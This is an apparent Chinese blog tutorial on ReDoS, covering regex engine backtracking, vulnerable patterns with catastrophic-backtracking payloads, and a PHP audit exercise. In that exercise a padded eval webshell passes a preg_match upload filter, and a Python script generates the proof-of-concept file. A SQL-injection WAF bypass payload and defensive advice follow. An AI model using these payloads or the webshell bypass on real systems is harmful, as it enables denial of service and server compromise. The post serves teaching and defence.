ReDos攻击浅析

DOS为拒绝服务攻击,re则是由于正则表达式使用不当,陷入正则引擎的回溯陷阱导致服务崩溃,大量消耗后台性能

正则

​ 探讨redos攻击之前,首先了解下正则的一些知识

执行过程

  • 大体的执行过程分为: 编译 -> 执行
  • 编译过程中,首先进行预编译,然后进入编译阶段
  • 执行的时候利用正则引擎进行匹配,最终得出匹配成功or失败
  • 编码过程中尽量使用预编译,并将预编译结果临时保存到全局变量,预编译的速度要比即用编辑快!
# -*- coding:utf-8 -*-
import re
import time

pattern = r"http:\/\/(?:.?\w+)+"

text = r'<a href="http://www.xxx.com">xxx.com</a>'

# 预编译
pattern_compile = re.compile(pattern)

time_begin = time.time()
for i in range(5000000):
    pattern_compile.match(text)
print("compile total time = {0}".format(time.time() - time_begin))

time_begin = time.time()
# 未使用预编译
for i in range(5000000):
    re.match(pattern, text)
print("not compile total time = {0}".format(time.time() - time_begin))

>>>
compile total time = 3.97600007057
not compile total time = 11.0629999638

正则引擎

  • DFA-确定型有穷自动机
    • 捏着文本串去比较正则式,看到一个子正则式,就把可能的匹配串全标注出来,然后再看正则式的下一个部分,根据新的匹配结果更新标注
    • 文本串中每一个字符串只扫描一次,速度快,特征少
    • 文本主导,按照文本的顺序执行(确定型)
    • 没有回溯的过程,不能使用断言等正则高级语法

  • NFA-非确定性有穷自动机
    • 捏着正则式去比文本,吃掉一个字符,就把它跟正则式比较,匹配就记下来:“where when匹配上了!”,接着往下干。一旦不匹配,就把刚吃的这个字符吐出来,一个个的吐,直到回到上一次匹配的地方
    • 反复吞吐文本字符,速度慢,特征丰富
    • 表达式主导,按照表达式主导执行
    • 有回溯的过程,能使用断言等正则高级语法

正则引擎使用场景

引擎类型程序
DFAawk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail
传统型 NFAGNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi
POSIX NFAmawk、Mortice Lern System's utilities、GUN Emacs(明确指定时使用)
DFA/NFA混合GNU awk、 GNU grep/egrep、 Tcl
  • 概括下,大多数高级语言都是使用NFA正则引擎,功能强大
  • 数据库则使用DFA正则引擎,如MongoDBMySQL

ReDos问题

​ 下面跳出正则部分,开始描述DOS部分

回溯陷阱

​ 前文我们已经提到NFA正则引擎的自身机制导致正则匹配有回溯的问题

eg: text = "aaaaaaaaaaaaaa", pattern=/^(a*)b$/

  • (a*),匹配到了文本中的aaaaaaaaaaaaaa
  • 匹配正则中b无法匹配,text中的所有的a都被(a*)吃了
  • 开始吐,吐一个a不行
  • 继续吐......
  • 到最后都不能匹配,如果文本a过多,回溯次数过多,Dos拒绝服务
  • 如果一个正则表达式有多个部分需要回溯,那么次数就是指数型。文本长度为100,两个部分需要回溯,则100^2 = 10000次,恐怖

eg:

import re
import time

begin_time = time.time()
re.match("^(a+)+$", r"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!")

print("total time = {0}".format(time.time() - begin_time))

>>>
total time = 31.8870000839

一些ReDos样例

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} | for x > 10

Payload: "aaaaaaaaaaaaaaaaaa!"

一些业务场景

  • Person Name:
    • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaa!

  • Java Classname
    • Regex: ^(([a-z])+.)+[A-Z]([a-z])+$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

  • Email Validation
    • Regex: ^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$
    • Payload: a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

  • Multiple Email address validation
    • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaa!

  • Decimal validator
    • Regex: ^\d*[0-9](|.\d*[0-9]|)*$
    • Payload: 1111111111111111111111111!

  • Pattern Matcher
    • Regex: ^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

小结下

  • 重复分组构造
  • 交替重叠

防御&&优化

​ 从开发or安全角度

  • 正则表达式书写注意,防止多处回溯(需要开发有一定的正则功底)
  • 文本串长度限制

最后的一个例子

一道php代码审计

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

$file_name = 'C:\phpStudy\WWW\xxx\webshell.php';
$user_dir = 'C:\phpStudy\WWW\xxx' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($file_name);
//$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    echo "successful";
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}
?>

代码最后的目的是绕过is_php函数的限制,写入php木马

如下,这个是绕不过正则的

<?php
    @eval ($_REQUEST["xxx"]);
?>
  • 但是这个正则存在回溯陷阱问题
  • php中有最大回溯次数的限制。默认为1000000

payload

'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
  • aaaaaaaa...aaaaaaaa会吃完正则中第一个.*,但是该payload不会匹配[(;?>]`,所以只能吐,进入回溯陷阱

生成POC文件

# -*- coding:utf-8 -*-
# print('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)

filename = 'webshell_flag.php'
with open(filename, 'w') as file_object:
    file_object.write('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)

成功绕过

其它:

  • waf - 1
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}
  • waf - 2
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

payload: UNION/*aaaaa*/SELECT (aaaaa吃掉第一个.+?,后续发现 S 和 * 不匹配,导致开始吐,进入陷阱)

上述的防御

  • preg_match对字符串进行匹配,一定要使用===全等号来判断返回值
<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}
  • 因为正常情况返回 0, 1 ,超过回溯次数返回False

  • 38
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThreadLocal 是 Java 中的一个类,它提供了一种线程局部变量的机制。线程局部变量是指每个线程都有自己的变量副本,每个线程对该变量的访问都是独立的,互不影响。 ThreadLocal 主要用于解决多线程并发访问共享变量时的线程安全问题。在多线程环境下,如果多个线程共同访问同一个变量,可能会出现竞争条件,导致数据不一致或者出现线程安全问题。通过使用 ThreadLocal,可以为每个线程提供独立的副本,从而避免了线程安全问题。 ThreadLocal 的工作原理是,每个 Thread 对象内部都维护了一个 ThreadLocalMap 对象,ThreadLocalMap 是一个 key-value 结构,其中 key 是 ThreadLocal 对象,value 是该线程对应的变量副本。当访问 ThreadLocal 的 get() 方法时,会根据当前线程获取到对应的 ThreadLocalMap 对象,并从中查找到与 ThreadLocal 对象对应的值。如果当前线程尚未设置该 ThreadLocal 对象的值,则会通过 initialValue() 方法初始化一个值,并将其存入 ThreadLocalMap 中。当访问 ThreadLocal 的 set() 方法时,会将指定的值存入当前线程对应的 ThreadLocalMap 中。 需要注意的是,ThreadLocal 并不能解决共享资源的并发访问问题,它只是提供了一种线程内部的隔离机制。在使用 ThreadLocal 时,需要注意合理地使用,避免出现内存泄漏或者数据不一致的情况。另外,由于 ThreadLocal 使用了线程的 ThreadLocalMap,因此在使用完 ThreadLocal 后,需要手动调用 remove() 方法清理对应的变量副本,以防止内存泄漏。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值